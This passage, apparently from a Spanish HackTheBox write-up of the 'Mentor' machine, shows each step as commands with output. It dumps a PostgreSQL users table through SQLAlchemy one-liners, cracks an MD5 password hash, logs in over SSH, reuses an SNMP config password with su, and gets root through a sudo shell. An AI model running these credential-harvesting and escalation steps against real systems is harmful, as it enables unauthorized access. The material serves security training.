33        raise HTTPException(status_code=424, detail="User already exists! ")
34
35    user_id = await crud.create_user(payload)
36
37    res = {
38        "id" : user_id,
39        "email" : payload.email,
40        "username" : payload.username
41    }
42
43    return res

En el directorio del usuario svc encontramos nuestra flag user.txt.

bash
1/app # cd /home
2/home # ls
3svc
4/home # cd svc
5/home/svc # ls
6user.txt
7/home/svc # cat user.txt
8d57c5e2b32aa7f2d0bf85dca62da4c53
9/home/svc #

User - svc

Postgresql

En el contenedor de docker esta instalada la libreria de sqlalchemy, utilizamos esta junto a las credenciales postgres que encontramos anteriormente para ejecutar queries en la base de datos mentorquotes_db.

bash
1# Queries
2python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("<QUERY>"); a = [i for i in result]; print(a);'
3
4# Tablas
5python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
6
7# Columnas
8python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'

Enumeramos las tablas, encontramos tres.

bash
 1/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
 22023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine select pg_catalog.version()
 32023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine [raw sql] {}
 42023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine select current_schema()
 52023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine [raw sql] {}
 62023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine show standard_conforming_strings
 72023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine [raw sql] {}
 82023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine SELECT c.relname FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = %(schema)s AND c.relkind in ('r', 'p')
 92023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine [generated in 0.00017s] {'schema': 'public'}
10['users', 'quotes', 'cmd_exec']
11/app/app/api #

Las columnas de la tabla users, las cuales son cuatro: id, email, username y password.

bash
 1/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'
 22023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine select pg_catalog.version()
 32023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine [raw sql] {}
 42023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine select current_schema()
 52023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine [raw sql] {}
 62023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine show standard_conforming_strings
 72023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine [raw sql] {}
 8
 9[.. snip ..]
10
11[{'name': 'id', 'type': INTEGER(), 'nullable': False, 'default': "nextval('users_id_seq'::regclass)", 'autoincrement': True, 'comment': None}, {'name': 'email', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'username', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'password', 'type': VARCHAR(length=128), 'nullable': False, 'default': None, 'autoincrement': False, 'comment': None}]
12/app/app/api #

Obtuvimos los datos de la tabla users.

bash
 1/app/app/api # python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("select * from users;"); print(type(result)); a = [i for i in result]; print(a);'
 22023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine select pg_catalog.version()
 32023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine [raw sql] {}
 42023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine select current_schema()
 52023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine [raw sql] {}
 62023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine show standard_conforming_strings
 72023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine [raw sql] {}
 82023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine select * from users;
 92023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine [raw sql] {}
10<class 'sqlalchemy.engine.cursor.LegacyCursorResult'>
11[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]
12/app/app/api #

crackstation nos muestra unicamente el hash de service_acc.

bash
17ccdcd8c05b59add9c198d492b36a503
253f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani

Shell

Utilizamos estas credenciales en el servicio SSH con el nombre de usuario svc. Logrando obtener acceso a la maquina.

bash
 1➜  mentor ssh svc@mentorquotes.htb # 123meunomeeivani
 2svc@mentorquotes.htb's password:
 3Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/advantage
 8
 9  System information as of Mon Jan  9 02:06:01 AM UTC 2023
10
11  System load:                      0.0234375
12  Usage of /:                       64.9% of 8.09GB
13  Memory usage:                     15%
14  Swap usage:                       0%
15  Processes:                        259
16  Users logged in:                  0
17  IPv4 address for br-028c7a43f929: 172.20.0.1
18  IPv4 address for br-24ddaa1f3b47: 172.19.0.1
19  IPv4 address for br-3d63c18e314d: 172.21.0.1
20  IPv4 address for br-7d5c72654da7: 172.22.0.1
21  IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
22  IPv4 address for docker0:         172.17.0.1
23  IPv4 address for eth0:            10.10.11.193
24
25  => There are 18 zombie processes.
26
27
280 updates can be applied immediately.
29
30
31The list of available updates is more than a week old.
32To check for new updates run: sudo apt update
33
34Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
35svc@mentor:~$ whoami;id;pwd
36svc
37uid=1001(svc) gid=1001(svc) groups=1001(svc)
38/home/svc
39svc@mentor:~$

User - James

Enumerando los archivos de configuracion de snmp encontramos credenciales.

bash
 1svc@mentor:/etc/snmp$ ls
 2snmp.conf  snmpd.conf  snmpd.conf.d
 3svc@mentor:/etc/snmp$ cat snmpd.conf | grep -v "#"
 4
 5sysLocation    Sitting on the Dock of the Bay
 6sysContact     Me <admin@mentorquotes.htb>
 7
 8sysServices    72
 9
10
11
12
13
14master  agentx
15
16
17agentAddress udp:161,udp6:[::1]:161
18
19
20
21
22view   systemonly  included   .1.3.6.1.2.1.1
23view   systemonly  included   .1.3.6.1.2.1.25.1
24
25
26
27rocommunity  public default -V systemonly
28rocommunity6 public default -V systemonly
29
30rouser authPrivUser authpriv -V systemonly
31
32includeDir /etc/snmp/snmpd.conf.d
33
34
35createUser bootstrap MD5 SuperSecurePassword123__ DES
36rouser bootstrap priv
37
38com2sec AllUser default internal
39group AllGroup v2c AllUser
40view SystemView included .1.3.6.1.2.1.25.1.1
41view AllView included .1
42access AllGroup "" any noauth exact AllView none none
43svc@mentor:/etc/snmp$

Utilizamos esta con el usuario james la cual funciono correctamente.

bash
1svc@mentor:/etc/snmp$ su james
2Password:
3james@mentor:/etc/snmp$ cd
4james@mentor:~$ ls
5james@mentor:~$ whoami;id
6james
7uid=1000(james) gid=1000(james) groups=1000(james)
8james@mentor:~$

Privesc

Tras ejecutar sudo -l -l observamos que el usuario james puede ejecutar sh como root.

bash
 1james@mentor:~$ sudo -l -l
 2[sudo] password for james:
 3Matching Defaults entries for james on mentor:
 4    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 5
 6User james may run the following commands on mentor:
 7
 8Sudoers entry:
 9    RunAsUsers: ALL
10    Commands:
11	/bin/sh
12james@mentor:~$ sudo sh
13# whoami;id
14root
15uid=0(root) gid=0(root) groups=0(root)
16# cd
17# ls
18logins.log  root.txt  scripts  snap
19# cat root.txt
20ed605945a5870ecc993bda7574b545b1
21#
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Awkward
Next HackTheBox - BroScience